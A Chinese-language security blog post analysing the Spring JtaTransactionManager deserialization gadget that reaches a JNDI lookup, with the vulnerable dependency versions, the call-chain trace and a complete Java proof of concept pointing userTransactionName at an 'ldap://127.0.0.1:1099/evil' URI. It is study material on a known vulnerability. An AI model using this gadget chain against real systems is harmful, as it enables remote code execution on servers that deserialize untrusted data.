首页 > 其他分享 >Spring反序列化JNDI分析

Spring反序列化JNDI分析

时间:2024-04-07 12:57:18浏览次数:42  
标签:JtaTransactionManager Spring org JNDI lookup import new 序列化

漏洞原理

Spring框架的JtaTransactionManager类中重写了readObject方法,这个方法最终会调用到JNDI中的lookup()方法,关键是里面的参数可控,这就导致了攻击者可以利用JNDI注入中的lookup()参数注入,传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,从而实现远程代码执行。

环境依赖

<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-tx</artifactId>
  <version>4.2.4.RELEASE</version>
</dependency>
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-context</artifactId>
  <version>4.2.4.RELEASE</version>
</dependency>
<dependency>
  <groupId>javax.transaction</groupId>
  <artifactId>javax.transaction-api</artifactId>
  <version>1.2</version>
</dependency>

流程分析

漏洞入口在org/springframework/transaction/jta/JtaTransactionManager.java的readObject方法

跟进initUserTransactionAndTransactionManager

跟进lookupUserTransaction,这里调用了lookup

跟进lookup方法

继续跟进lookup方法,这里调用的是ctx的lookup方法,ctx是一个Context类型,往后追踪ctx,发现ctx其实是InitialContext类的实例,所以这里我们控制name的值就能直接打JNDI注入了

name就是JtaTransactionManager的属性userTransactionName,我们可以反射修改它的值

package org.example;
import org.springframework.transaction.jta.JtaTransactionManager;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        Field userTransactionName = JtaTransactionManager.class.getDeclaredField("userTransactionName");
        userTransactionName.setAccessible(true);
        userTransactionName.set(jtaTransactionManager, "ldap://127.0.0.1:1099/evil");
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(jtaTransactionManager);
        // 反序列化
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\SpringJNDI\\test.bin"));
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        ObjectInputStream obj = new ObjectInputStream(bis);
        obj.readObject();
    }
}

成功注入

rmi也是同理,把ldap换成rmi就行了,至于恶意服务端怎么搭建,之前的文章有讲过,这里就不再复述

标签:JtaTransactionManager,Spring,org,JNDI,lookup,import,new,序列化
From: https://www.cnblogs.com/F12-blog/p/18117746

相关文章

  • java中大型医院HIS系统源码 Angular+Nginx+SpringBoot云HIS运维平台源码
    java中大型医院HIS系统源码Angular+Nginx+SpringBoot云HIS运维平台源码云HIS系统是一款满足基层医院各类业务需要的健康云产品。该产品能帮助基层医院完成日常各类业务,提供病患预约挂号支持、病患问诊、电子病历、开药发药、会员管理、统计查询、医生工作站和护士工作站等一......
  • 在线视频教育平台|基于Springboot的在线视频教育平台系统设计与实现(源码+数据库+文档
    在线视频教育平台目录基于Springboot的在线视频教育平台系统设计与实现一、前言二、系统设计三、系统功能设计 1、前台:2、后台用户功能模块教师功能模块四、数据库设计 五、核心代码 六、论文参考七、最新计算机毕设选题推荐八、源码获取:博主介绍:✌️大......
  • Java毕业设计-基于springboot开发的IT技术交流和分享平台设计与实现-毕业论文(附毕设源
    文章目录前言一、毕设成果演示(源代码在文末)二、毕设摘要展示1、开发说明2、需求分析3、系统功能结构三、系统实现展示1、用户功能模块的实现1.1用户注册界面1.2用户登录界面1.3笔记分享详情界面1.4添加笔记分享界面1.5我的收藏界面2、管理员功能模块的实现2.1管理员登......
  • Java毕业设计-基于springboot开发的javaEE校园二手书交易平台设计与实现-毕业论文(附毕
    文章目录前言一、毕设成果演示(源代码在文末)二、毕设摘要展示1、开发说明2、需求分析3、系统功能结构三、系统实现展示1、用户信息管理2、图书类型管理3、图书信息管理4、公告信息管理四、毕设内容和源代码获取总结Java毕业设计-基于springboot开发的javaEE校园二手......
  • Java;springboot;MYSQL+基于springBoot的大学生就业管理85553(免费领源码)计算机毕业设计
    大学生就业管理系统的设计与实现摘 要信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克的课题。针对学生就业管理等问题,对学生就业管理进行研究分析,然后开发设......
  • Java/Mysql数据库+springboot物流信息管理系统 23895(免费领源码)计算机毕业设计项目推
    本科毕业论文论文题目:物流信息管理系统的设计与实现院(系)名 称:专  业  名 称:学 生 姓  名:指导教师(校内):指导教师(企业):2023年4月 摘要科技进步的飞速发展引起人们日常生活的巨大变化,电子信息技术的飞速发展使得电子信......
  • 计算机毕业设计项目,springboot+校园兼职系统 22161(开题答辩+程序定制+全套文案 )上万套
    Springboot校园兼职系统的设计与实现摘要随着经济的发展,竞争的激烈,就业形式日趋严峻,为了在毕业后能够更好地适应社会,很多在校大学生选择了从事兼职工作,一方面缓解了家庭的经济压力,更重要的是在一定程度上接触了社会,获取了一些工作经验,提高了自己的综合实力。大学生兼职已......
  • spring_cloud五大组件
    SpringCloud是一个基于SpringBoot的开源微服务框架,它提供了一系列的组件来简化分布式系统的开发和部署。SpringCloud中最常用的五大组件包括:Eureka:Eureka是一个服务注册与发现组件,它可以让微服务应用动态地注册和发现服务。通过Eureka,微服务应用可以轻松地找到其他服......
  • 使用Spring管理Bean(一)
    一、IOC和DI1、简介IOC是InversionOfControl(控制反转)的缩写,它是一种设计思想,是指将对象的控制权由程序代码反转给外部容器。publicclassAccountServiceImplimplementsIAccountService{privateIAccountDaoaccountDao;publicAccoutServiceImpl({......
  • SpringBoot学习笔记
    SpringBoot一、SpringBoot3介绍1.1SpringBoot3简介课程使用SpringBoot版本:3.0.5https://docs.spring.io/spring-boot/docs/current/reference/html/getting-started.html#getting-started.introducing-spring-boot到目前为止,你已经学习了多种配置Spring程序的方式。......